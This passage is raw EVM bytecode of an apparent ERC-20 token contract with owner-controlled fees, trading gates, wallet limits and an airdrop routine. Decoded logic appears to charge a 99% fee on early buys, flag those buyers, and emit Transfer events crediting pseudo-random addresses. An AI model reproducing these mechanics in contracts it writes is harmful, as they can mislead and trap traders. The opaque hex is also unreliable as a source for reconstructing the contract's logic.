906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156134be5750601c60009054906101000a900460ff165b80156134d85750601e54601d546134d591906158d6565b43105b1561358e576001601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6135988483613e2f565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166136485760006135f484611a9a565b9050600554838261360591906158d6565b1115613646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161363d90615af4565b60405180910390fd5b505b613650613ecc565b80156136a95750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156136b7576136b6613fa3565b5b600062989680836136c89190615497565b9050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156137715750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156137855780836137829190615976565b92505b61380e836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132369092919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156138f55750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561395c57600080600090505b60038112156139595780854260405160200161392093929190615b60565b6040516020818303038152906040528051906020012060001c9150613946878385614692565b808061395190615b9d565b915050613902565b50505b6000601f60009054906101000a900460ff1680156139c75750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80156139e157506021546020546139de91906158d6565b42105b156139f7576139f0868561478a565b9050613a6a565b613a0186866148d2565b613a0b5783613a67565b613a668685601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614614980565b5b90505b613abc81600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300590919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613c1957602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9687600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401613bec92919061572d565b600060405180830381600087803b158015613c0657600080fd5b505af1925050508015613c17575060015b505b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613d3357602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401613d0692919061572d565b600060405180830381600087803b158015613d2057600080fd5b505af1925050508015613d31575060015b505b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffb2c4796023546040518263ffffffff1660e01b8152600401613d909190614d4a565b600060405180830381600087803b158015613daa57600080fd5b505af1925050508015613dbb575060015b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613e199190614d4a565b60405180910390a36001925050505b9392505050565b60045481111580613e895750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ebf90615c31565b60405180910390fd5b5050565b6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015613f395750602760009054906101000a900460ff16155b8015613f515750602460009054906101000a900460ff165b8015613f9e5750602554600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001602760006101000a81548160ff0219169083151502179055506000602654600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115614013576026549050614056565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b60006140946002614086601354614078600f5487614af890919063ffffffff16565b614b7290919063ffffffff16565b614b7290919063ffffffff16565b905060006140ab8284614bbc90919063ffffffff16565b90506000600267ffffffffffffffff8111156140ca576140c9615c51565b5b6040519080825280602002602001820160405280156140f85781602001602082028036833780820191505090505b50905030816000815181106141105761410f6156fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156141b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141db9190615c95565b816001815181106141ef576141ee6156fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161428d959493929190615d80565b600060405180830381600087803b1580156142a757600080fd5b505af11580156142bb573d6000803e3d6000fd5b50505050600047905060006142f06142df6002600f54614b7290919063ffffffff16565b601354614bbc90919063ffffffff16565b9050600061432e600261432084614312600f5488614af890919063ffffffff16565b614b7290919063ffffffff16565b614b7290919063ffffffff16565b905060006143598361434b60105487614af890919063ffffffff16565b614b7290919063ffffffff16565b905060006143848461437660115488614af890919063ffffffff16565b614b7290919063ffffffff16565b905060006143af856143a160125489614af890919063ffffffff16565b614b7290919063ffffffff16565b9050602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0846040518263ffffffff1660e01b81526004016000604051808303818588803b15801561441b57600080fd5b505af19350505050801561442d575060015b506000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16836175309060405161447a90615e0b565b600060405180830381858888f193505050503d80600081146144b8576040519150601f19603f3d011682016040523d82523d6000602084013e6144bd565b606091505b50509050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161450b90615e0b565b600060405180830381858888f193505050503d8060008114614549576040519150601f19603f3d011682016040523d82523d6000602084013e61454e565b606091505b5050809150506000905060008a111561466a57601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71986308d600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016145ea96959493929190615e20565b60606040518083038185885af1158015614608573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061462d91906157b3565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506858b604051614661929190615e81565b60405180910390a15b50505050505050505050506000602760006101000a81548160ff021916908315150217905550565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546146dd91906158d6565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161477d9190614d4a565b60405180910390a3505050565b6000806063905060006147b960646147ab8487614af890919063ffffffff16565b614b7290919063ffffffff16565b905061480d81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516148ad9190614d4a565b60405180910390a36148c88185614bbc90919063ffffffff16565b9250505092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156149785750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000808261498f576064614993565b6015545b905060006149de60646014546149a9919061540e565b6149d0846149c26013548a614af890919063ffffffff16565b614af890919063ffffffff16565b614b7290919063ffffffff16565b9050614a3281600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051614ad29190614d4a565b60405180910390a3614aed8186614bbc90919063ffffffff16565b925050509392505050565b6000808303614b0a5760009050614b6c565b60008284614b18919061540e565b9050828482614b279190615497565b14614b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401614b5e90615f1c565b60405180910390fd5b809150505b92915050565b6000614bb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614c06565b905092915050565b6000614bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613236565b905092915050565b60008083118290614c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401614c449190614e70565b60405180910390fd5b5060008385614c5c9190615497565b9050809150509392505050565b600080fd5b600080fd5b6000819050919050565b614c8681614c73565b8114614c9157600080fd5b50565b600081359050614ca381614c7d565b92915050565b600060208284031215614cbf57614cbe614c69565b5b6000614ccd84828501614c94565b91505092915050565b60008115159050919050565b614ceb81614cd6565b8114614cf657600080fd5b50565b600081359050614d0881614ce2565b92915050565b600060208284031215614d2457614d23614c69565b5b6000614d3284828501614cf9565b91505092915050565b614d4481614c73565b82525050565b6000602082019050614d5f6000830184614d3b565b92915050565b600080600080600060a08688031215614d8157614d80614c69565b5b6000614d8f88828901614c94565b9550506020614da088828901614c94565b9450506040614db188828901614c94565b9350506060614dc288828901614c94565b9250506080614dd388828901614c94565b9150509295509295909350565b600081519050919050565b600082825260208201905092915050565b60005b83811015614e1a578082015181840152602081019050614dff565b60008484015250505050565b6000601f19601f8301169050919050565b6000614e4282614de0565b614e4c8185614deb565b9350614e5c818560208601614dfc565b614e6581614e26565b840191505092915050565b60006020820190508181036000830152614e8a8184614e37565b905092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112614eb757614eb6614e92565b5b8235905067ffffffffffffffff811115614ed457614ed3614e97565b5b602083019150836020820283011115614ef057614eef614e9c565b5b9250929050565b600080600060408486031215614f1057614f0f614c69565b5b600084013567ffffffffffffffff811115614f2e57614f2d614c6e565b5b614f3a86828701614ea1565b93509350506020614f4d86828701614c94565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614f8282614f57565b9050919050565b614f9281614f77565b8114614f9d57600080fd5b50565b600081359050614faf81614f89565b92915050565b60008060408385031215614fcc57614fcb614c69565b5b6000614fda85828601614fa0565b9250506020614feb85828601614c94565b9150509250929050565b614ffe81614cd6565b82525050565b60006020820190506150196000830184614ff5565b92915050565b60008060006060848603121561503857615037614c69565b5b600061504686828701614c94565b935050602061505786828701614c94565b925050604061506886828701614c94565b9150509250925092565b6000806040838503121561508957615088614c69565b5b600061509785828601614fa0565b92505060206150a885828601614cf9565b9150509250929050565b6000806000606084860312156150cb576150ca614c69565b5b60006150d986828701614fa0565b93505060206150ea86828701614fa0565b92505060406150fb86828701614c94565b9150509250925092565b600060ff82169050919050565b61511b81615105565b82525050565b60006020820190506151366000830184615112565b92915050565b60006020828403121561515257615151614c69565b5b600061516084828501614fa0565b91505092915050565b600060608201905061517e6000830186614d3b565b61518b6020830185614d3b565b6151986040830184614d3b565b949350505050565b6151a981614f77565b82525050565b60006020820190506151c460008301846151a0565b92915050565b6000806000604084860312156151e3576151e2614c69565b5b600084013567ffffffffffffffff81111561520157615200614c6e565b5b61520d86828701614ea1565b9350935050602061522086828701614cf9565b9150509250925092565b6000806040838503121561524157615240614c69565b5b600061524f85828601614fa0565b925050602061526085828601614fa0565b9150509250929050565b6000819050919050565b600061528f61528a61528584614f57565b61526a565b614f57565b9050919050565b60006152a182615274565b9050919050565b60006152b382615296565b9050919050565b6152c3816152a8565b82525050565b60006020820190506152de60008301846152ba565b92915050565b6000806000606084860312156152fd576152fc614c69565b5b600061530b86828701614cf9565b935050602061531c86828701614c94565b925050604061532d86828701614c94565b9150509250925092565b600061534282615296565b9050919050565b61535281615337565b82525050565b600060208201905061536d6000830184615349565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b60006153a9600683614deb565b91506153b482615373565b602082019050919050565b600060208201905081810360008301526153d88161539c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061541982614c73565b915061542483614c73565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561545d5761545c6153df565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006154a282614c73565b91506154ad83614c73565b9250826154bd576154bc615468565b5b828204905092915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b60006154fe601c83614deb565b9150615509826154c8565b602082019050919050565b6000602082019050818103600083015261552d816154f1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061557b57607f821691505b60208210810361558e5761558d615534565b5b50919050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b60006155ca600783614deb565b91506155d582615594565b602082019050919050565b600060208201905081810360008301526155f9816155bd565b9050919050565b7f474153204572726f723a206d61782061697264726f70206c696d69742069732060008201527f3830302061646472657373657300000000000000000000000000000000000000602082015250565b600061565c602d83614deb565b915061566782615600565b604082019050919050565b6000602082019050818103600083015261568b8161564f565b9050919050565b7f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c65740000000000600082015250565b60006156c8601b83614deb565b91506156d382615692565b602082019050919050565b600060208201905081810360008301526156f7816156bb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060408201905061574260008301856151a0565b61574f6020830184614d3b565b9392505050565b600061576182614c73565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203615793576157926153df565b5b600182019050919050565b6000815190506157ad81614c7d565b92915050565b6000806000606084860312156157cc576157cb614c69565b5b60006157da8682870161579e565b93505060206157eb8682870161579e565b92505060406157fc8682870161579e565b9150509250925092565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b600061583c600883614deb565b915061584782615806565b602082019050919050565b6000602082019050818103600083015261586b8161582f565b9050919050565b6000819050919050565b600061589761589261588d84615872565b61526a565b614c73565b9050919050565b6158a78161587c565b82525050565b60006040820190506158c260008301856151a0565b6158cf602083018461589e565b9392505050565b60006158e182614c73565b91506158ec83614c73565b9250828201905080821115615904576159036153df565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615940601b83614deb565b915061594b8261590a565b602082019050919050565b6000602082019050818103600083015261596f81615933565b9050919050565b600061598182614c73565b915061598c83614c73565b92508282039050818111156159a4576159a36153df565b5b92915050565b7f697343686f73656e536f6e000000000000000000000000000000000000000000600082015250565b60006159e0600b83614deb565b91506159eb826159aa565b602082019050919050565b60006020820190508181036000830152615a0f816159d3565b9050919050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b6000615a4c601483614deb565b9150615a5782615a16565b602082019050919050565b60006020820190508181036000830152615a7b81615a3f565b9050919050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b6000615ade603e83614deb565b9150615ae982615a82565b604082019050919050565b60006020820190508181036000830152615b0d81615ad1565b9050919050565b6000819050919050565b6000819050919050565b615b39615b3482615b14565b615b1e565b82525050565b6000819050919050565b615b5a615b5582614c73565b615b3f565b82525050565b6000615b6c8286615b28565b602082019150615b7c8285615b49565b602082019150615b8c8284615b49565b602082019150819050949350505050565b6000615ba882615b14565b91507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203615bda57615bd96153df565b5b600182019050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b6000615c1b601183614deb565b9150615c2682615be5565b602082019050919050565b60006020820190508181036000830152615c4a81615c0e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050615c8f81614f89565b92915050565b600060208284031215615cab57615caa614c69565b5b6000615cb984828501615c80565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615cf781614f77565b82525050565b6000615d098383615cee565b60208301905092915050565b6000602082019050919050565b6000615d2d82615cc2565b615d378185615ccd565b9350615d4283615cde565b8060005b83811015615d73578151615d5a8882615cfd565b9750615d6583615d15565b925050600181019050615d46565b5085935050505092915050565b600060a082019050615d956000830188614d3b565b615da2602083018761589e565b8181036040830152615db48186615d22565b9050615dc360608301856151a0565b615dd06080830184614d3b565b9695505050505050565b600081905092915050565b50565b6000615df5600083615dda565b9150615e0082615de5565b600082019050919050565b6000615e1682615de8565b9150819050919050565b600060c082019050615e3560008301896151a0565b615e426020830188614d3b565b615e4f604083018761589e565b615e5c606083018661589e565b615e6960808301856151a0565b615e7660a0830184614d3b565b979650505050505050565b6000604082019050615e966000830185614d3b565b615ea36020830184614d3b565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615f06602183614deb565b9150615f1182615eaa565b604082019050919050565b60006020820190508181036000830152615f3581615ef9565b905091905056fea26469706673582212206e210a2b3becd0a978cc80d7729a42dd9503e8c367e34fae7866d2a5b9a8b2b564736f6c6343000810003300000000000000000000000072d85ab47fbfc5e7e04a8bcfca1601d8f8ce1a5000000000000000000000000002d88031480722b996ab56711ad938e5ff4317e9

Deployed ByteCode

0x6080604052600436106102cd5760003560e01c80638da5cb5b11610175578063bfe10928116100dc578063ec72d65f11610095578063f2fde38b1161006f578063f2fde38b14610ac9578063f708a64f14610af2578063f84ba65d14610b1b578063f887ea4014610b44576102d4565b8063ec72d65f14610a60578063f11743f614610a89578063f12418a814610aa0576102d4565b8063bfe1092814610950578063ca33e64c1461097b578063d0889358146109a6578063dd62ed3e146109cf578063dff31e7014610a0c578063e96fada214610a35576102d4565b8063a8aa1b311161012e578063a8aa1b3114610840578063a9059cbb1461086b578063a9e4a286146108a8578063acef1a44146108d1578063b1fb11b0146108fc578063b2896bae14610927576102d4565b80638da5cb5b14610744578063954fe43e1461076f57806395d89b41146107985780639d1944f5146107c3578063a16b064e146107ec578063a4b45c0014610817576102d4565b806323b872dd1161023457806370a08231116101ed57806378109e54116101c757806378109e54146106985780637c8b7063146106c35780637d1db4a5146106ec57806388c7cb1214610717576102d4565b806370a0823114610607578063715018a61461064457806372ae04871461065b576102d4565b806323b872dd146104e35780633101191214610520578063313ce5671461054b578063571ac8b014610576578063658d4b7f146105b35780636ddd1713146105dc576102d4565b8063095ea7b311610286578063095ea7b3146103d35780630ca61cb114610410578063180b0d7e1461043957806318160ddd146104645780631df4ccfc1461048f5780632198cf6c146104ba576102d4565b8063012aa912146102d9578063042dbcb9146103025780630445b6671461032b57806304a66b481461035657806306fdde031461037f57806308b3e419146103aa576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b5061030060048036038101906102fb9190614ca9565b610b6f565b005b34801561030e57600080fd5b5061032960048036038101906103249190614d0e565b610c21565b005b34801561033757600080fd5b50610340610ccc565b60405161034d9190614d4a565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190614d65565b610cd2565b005b34801561038b57600080fd5b50610394610e1b565b6040516103a19190614e70565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190614ef7565b610ead565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190614fb5565b6113e0565b6040516104079190615004565b60405180910390f35b34801561041c57600080fd5b506104376004803603810190610432919061501f565b6114d2565b005b34801561044557600080fd5b5061044e6115f6565b60405161045b9190614d4a565b60405180910390f35b34801561047057600080fd5b506104796115fc565b6040516104869190614d4a565b60405180910390f35b34801561049b57600080fd5b506104a4611606565b6040516104b19190614d4a565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190615072565b61160c565b005b3480156104ef57600080fd5b5061050a600480360381019061050591906150b2565b6116f5565b6040516105179190615004565b60405180910390f35b34801561052c57600080fd5b506105356118f5565b6040516105429190615004565b60405180910390f35b34801561055757600080fd5b50610560611908565b60405161056d9190615121565b60405180910390f35b34801561058257600080fd5b5061059d6004803603810190610598919061513c565b611911565b6040516105aa9190615004565b60405180910390f35b3480156105bf57600080fd5b506105da60048036038101906105d59190615072565b611944565b005b3480156105e857600080fd5b506105f1611a87565b6040516105fe9190615004565b60405180910390f35b34801561061357600080fd5b5061062e6004803603810190610629919061513c565b611a9a565b60405161063b9190614d4a565b60405180910390f35b34801561065057600080fd5b50610659611ae3565b005b34801561066757600080fd5b50610682600480360381019061067d919061513c565b611c2f565b60405161068f9190615004565b60405180910390f35b3480156106a457600080fd5b506106ad611c4f565b6040516106ba9190614d4a565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190614d0e565b611c55565b005b3480156106f857600080fd5b50610701611d00565b60405161070e9190614d4a565b60405180910390f35b34801561072357600080fd5b5061072c611d06565b60405161073b93929190615169565b60405180910390f35b34801561075057600080fd5b50610759611da7565b60405161076691906151af565b60405180910390f35b34801561077b57600080fd5b50610796600480360381019061079191906151ca565b611dd0565b005b3480156107a457600080fd5b506107ad611f5b565b6040516107ba9190614e70565b60405180910390f35b3480156107cf57600080fd5b506107ea60048036038101906107e59190614ca9565b611fed565b005b3480156107f857600080fd5b50610801612094565b60405161080e9190615004565b60405180910390f35b34801561082357600080fd5b5061083e6004803603810190610839919061522a565b6120a7565b005b34801561084c57600080fd5b5061085561221e565b60405161086291906151af565b60405180910390f35b34801561087757600080fd5b50610892600480360381019061088d9190614fb5565b612244565b60405161089f9190615004565b60405180910390f35b3480156108b457600080fd5b506108cf60048036038101906108ca9190614d0e565b612259565b005b3480156108dd57600080fd5b506108e6612304565b6040516108f39190614d4a565b60405180910390f35b34801561090857600080fd5b5061091161230a565b60405161091e9190615004565b60405180910390f35b34801561093357600080fd5b5061094e60048036038101906109499190614ca9565b61231d565b005b34801561095c57600080fd5b5061096561246c565b60405161097291906152c9565b60405180910390f35b34801561098757600080fd5b50610990612492565b60405161099d91906151af565b60405180910390f35b3480156109b257600080fd5b506109cd60048036038101906109c891906152e4565b6124b8565b005b3480156109db57600080fd5b506109f660048036038101906109f1919061522a565b6125cd565b604051610a039190614d4a565b60405180910390f35b348015610a1857600080fd5b50610a336004803603810190610a2e9190614ca9565b612654565b005b348015610a4157600080fd5b50610a4a6127ce565b604051610a5791906151af565b60405180910390f35b348015610a6c57600080fd5b50610a876004803603810190610a829190614ca9565b6127f4565b005b348015610a9557600080fd5b50610a9e61288c565b005b348015610aac57600080fd5b50610ac76004803603810190610ac29190614ca9565b61294a565b005b348015610ad557600080fd5b50610af06004803603810190610aeb919061513c565b6129fc565b005b348015610afe57600080fd5b50610b196004803603810190610b149190615072565b612bb6565b005b348015610b2757600080fd5b50610b426004803603810190610b3d9190615072565b612ef6565b005b348015610b5057600080fd5b50610b59612fdf565b604051610b669190615358565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906153bf565b60405180910390fd5b61271081600354610c0e919061540e565b610c189190615497565b60058190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca6906153bf565b60405180910390fd5b80601a60146101000a81548160ff02191690831515021790555050565b60255481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d57906153bf565b60405180910390fd5b84600f81905550836010819055508260118190555081601281905550610db5601254610da785610d99888a61300590919063ffffffff16565b61300590919063ffffffff16565b61300590919063ffffffff16565b601381905550806014819055506003601454610dd19190615497565b60135410610e14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0b90615514565b60405180910390fd5b5050505050565b606060018054610e2a90615563565b80601f0160208091040260200160405190810160405280929190818152602001828054610e5690615563565b8015610ea35780601f10610e7857610100808354040283529160200191610ea3565b820191906000526020600020905b815481529060010190602001808311610e8657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610f5657503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8c906155e0565b60405180910390fd5b6103218383905010610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390615672565b60405180910390fd5b60008383905082610fed919061540e565b90508061101960008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a9a565b101561105a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611051906156de565b60405180910390fd5b60005b8484905081101561125d576110ba60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686868481811061109f5761109e6156fe565b5b90506020020160208101906110b4919061513c565b85613063565b50600e60008686848181106110d2576110d16156fe565b5b90506020020160208101906110e7919061513c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661124a57602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca96868684818110611184576111836156fe565b5b9050602002016020810190611199919061513c565b600960008989878181106111b0576111af6156fe565b5b90506020020160208101906111c5919061513c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b815260040161121d92919061572d565b600060405180830381600087803b15801561123757600080fd5b505af1925050508015611248575060015b505b808061125590615756565b91505061105d565b50600e60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166113da57602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b81526004016113ad92919061572d565b600060405180830381600087803b1580156113c757600080fd5b505af19250505080156113d8575060015b505b50505050565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516114c09190614d4a565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffff